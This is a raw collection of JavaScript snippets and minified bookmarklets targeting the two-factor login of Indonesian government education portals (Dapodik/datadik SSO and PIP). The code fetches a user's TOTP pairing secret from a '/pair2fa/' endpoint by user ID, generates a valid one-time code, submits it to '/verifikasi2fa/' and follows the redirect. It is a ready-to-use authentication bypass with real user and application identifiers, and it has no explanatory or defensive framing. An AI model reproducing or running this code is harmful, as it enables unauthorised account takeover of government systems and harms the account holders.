$.json('/pair2fa/?????').then( function(rsp){ let pairi = rsp.paircode; let uname = rsp.uname; console.log("otpauth://totp/"+uname+"?secret="+pairi+"&issuer=Dapodik"); } ) D21A36C9-A5F5-42C0-9ACF-A9C4FD5BC376 195D5C2A-A66A-4AC3-96A8-50DE6493D222 A98DFA00-DCF4-4625-BE5B-0D121A758D09 ------------------------------------ let id="?????"; function getsecret(email, code) { console.log("otpauth://totp/"+email+"?secret="+code+"&issuer=Dapodik"); } $.json('/pair2fa/'+id).then((sender)=>getsecret(sender.uname, sender.paircode)); -------------------------------

============================================== QRCODE WITH DIALOG BOX V1 -------------------------


======================= https://sso.datadik.dikdasmen.go.id/pair2fa/195D5C2A-A66A-4AC3-96A8-50DE6493D222 https://pip.kemendikdasmen.go.id/pair2fa/6CC4FD40-2395-11E4-A015-052DD2178311 ------------------------ QRCODE WITH DIALOG BOX V2 -------------------------

Secret Key:

================================= sp.datadik ---------------------- let kode = ???????; $.post("/verifikasi2fa/6CC4FD40-2395-11E4-A015-052DD2178311?a=eb619fb1-7dbb-45e7-821e-a456b15a19e4", { kdtfa: kode }).then( function(response){ const rsp = JSON.parse(response); console.log(rsp); }, function(xhr){ console.log(xhr.status, xhr.statusText); } ) ----- pip ---- let kode = ???????; $.post("/verifikasi2fa/6CC4FD40-2395-11E4-A015-052DD2178311?a=61b4a4c1-3d61-4c30-b9fc-b08ee6beb67b", { kdtfa: kode }).then( function(response){ const rsp = JSON.parse(response); console.log(rsp); }, function(xhr){ console.log(xhr.status, xhr.statusText); } ) -------------------------------- QRCODE WITH DIALOG BOX V3 (Slim) --------------------------------

Secret Key:

---------------------------------------------------- QRCODE WITH DIALOG BOX V4 (include qrCode from link) ----------------------------------------------------

Secret Key:

------------- Auto Get OTP ------------- var str=verifikasiKode2fa.toString().split('verifikasi2fa/')[1]; var usrid=str.split('?')[0]; str=str.split('a=')[1]; var appid=str.split('"')[0]; $.json('/pair2fa/'+usrid).then((sender)=> { function loadScript(url, callback){var script=document.createElement('script');script.type='text/javascript';script.src=url;script.onreadystatechange=callback;script.onload=callback;document.head.appendChild(script);} loadScript('https://cdn.jsdelivr.net/npm/otpauth/dist/otpauth.umd.min.js', ()=> { var totp=new OTPAuth.TOTP({algorithm: 'SHA1', digits: 6, secret: OTPAuth.Secret.fromBase32(sender.paircode.replace(/\s/g, '') || 'KRSWW3TPINSXEZDBOMXGG33N')}).generate(); $.post('/verifikasi2fa/'+usrid+'?a='+appid, { kdtfa: totp }).then( function(response){ const rsp = JSON.parse(response); console.log(rsp.redirect_uri); }, function(xhr){ console.log(xhr.status, xhr.statusText); } ); }); } ); -------------- javascript:var str=verifikasiKode2fa.toString().split("verifikasi2fa/")[1],usrid=str.split("?")[0];str=str.split("a=")[1];var appid=str.split('"')[0];$.json("/pair2fa/"+usrid).then(t=>{function e(t,e){var a=document.createElement("script");a.type="text/javascript",a.src=t,a.onreadystatechange=e,a.onload=e,document.head.appendChild(a)}e("https://cdn.jsdelivr.net/npm/otpauth/dist/otpauth.umd.min.js",()=>{var e=new OTPAuth.TOTP({algorithm:"SHA1",digits:6,secret:OTPAuth.Secret.fromBase32(t.paircode.replace(/\s/g,"")||"KRSWW3TPINSXEZDBOMXGG33N")}).generate();$.post("/verifikasi2fa/"+usrid+"?a="+appid,{kdtfa:e}).then(function(t){let e=JSON.parse(t);location.href=e.redirect_uri},function(t){console.log(t.status,t.statusText)})})}); ------------------- var str=document.documentElement.outerHTML.toString().split('verifikasi2fa/')[1]; var usrid=str.split('?')[0]; str=str.split('a=')[1]; var appid=str.split('"')[0]; var urix=''; if (!appid) { appid='4031c604-124c-4057-8631-99e0152c4c70'; } if (appid=='a279dc4c-00c0-4c01-867f-981bbaf28e88') { urix='?&scope=write&response_type=code&state=P2NsaWVudF9pZD05YTc2N2YyYjM4YTQzNjQ1ZTI3YiZyZXNwb25zZV90eXBlPWNvZGUmcmVkaXJlY3RfdXJpPWh0dHBzOi8vc2lwbGFoLmJsaWJsaS5jb20vYmFja2VuZC9sb2dpbi9zZHMvX2NhbGxiYWNrJnNjb3BlPXJlYWQmc3RhdGU9N2Y2N2VmYWEtN2E0ZS00YzQzLTgzNzktNmU2YTJlMzNiMTJkJmFwcGxpY2F0aW9uPWJsaWJsaSZwcm92aWRlcj1EYXBvZGlrJm1ldGhvZD1zaWdudXA='; } $.json('/pair2fa/'+usrid).then((sender)=> { function loadScript(url, callback){var script=document.createElement('script');script.type='text/javascript';script.src=url;script.onreadystatechange=callback;script.onload=callback;document.head.appendChild(script);} loadScript('https://cdn.jsdelivr.net/npm/otpauth/dist/otpauth.umd.min.js', ()=> { var totp=new OTPAuth.TOTP({algorithm: 'SHA1', digits: 6, secret: OTPAuth.Secret.fromBase32(sender.paircode.replace(/\s/g, '') || 'KRSWW3TPINSXEZDBOMXGG33N')}).generate(); $.post('/verifikasi2fa/'+usrid+'?a='+appid, { kdtfa: totp }).then( function(response){ const rsp = JSON.parse(response); console.log(rsp.redirect_uri+urix); } ); }); } ); -------- javascript:var str=document.documentElement.outerHTML.toString().split("verifikasi2fa/")[1],usrid=str.split("?")[0];str=str.split("a=")[1];var appid=str.split('"')[0],urix="";appid||(appid="4031c604-124c-4057-8631-99e0152c4c70"),"a279dc4c-00c0-4c01-867f-981bbaf28e88"==appid&&(urix="?&scope=write&response_type=code&state=P2NsaWVudF9pZD05YTc2N2YyYjM4YTQzNjQ1ZTI3YiZyZXNwb25zZV90eXBlPWNvZGUmcmVkaXJlY3RfdXJpPWh0dHBzOi8vc2lwbGFoLmJsaWJsaS5jb20vYmFja2VuZC9sb2dpbi9zZHMvX2NhbGxiYWNrJnNjb3BlPXJlYWQmc3RhdGU9N2Y2N2VmYWEtN2E0ZS00YzQzLTgzNzktNmU2YTJlMzNiMTJkJmFwcGxpY2F0aW9uPWJsaWJsaSZwcm92aWRlcj1EYXBvZGlrJm1ldGhvZD1zaWdudXA="),$.json("/pair2fa/"+usrid).then(t=>{function a(t,a){var e=document.createElement("script");e.type="text/javascript",e.src=t,e.onreadystatechange=a,e.onload=a,document.head.appendChild(e)}a("https://cdn.jsdelivr.net/npm/otpauth/dist/otpauth.umd.min.js",()=>{var a=new OTPAuth.TOTP({algorithm:"SHA1",digits:6,secret:OTPAuth.Secret.fromBase32(t.paircode.replace(/\s/g,"")||"KRSWW3TPINSXEZDBOMXGG33N")}).generate();$.post("/verifikasi2fa/"+usrid+"?a="+appid,{kdtfa:a}).then(function(t){let a=JSON.parse(t);location.href=a.redirect_uri+urix})})});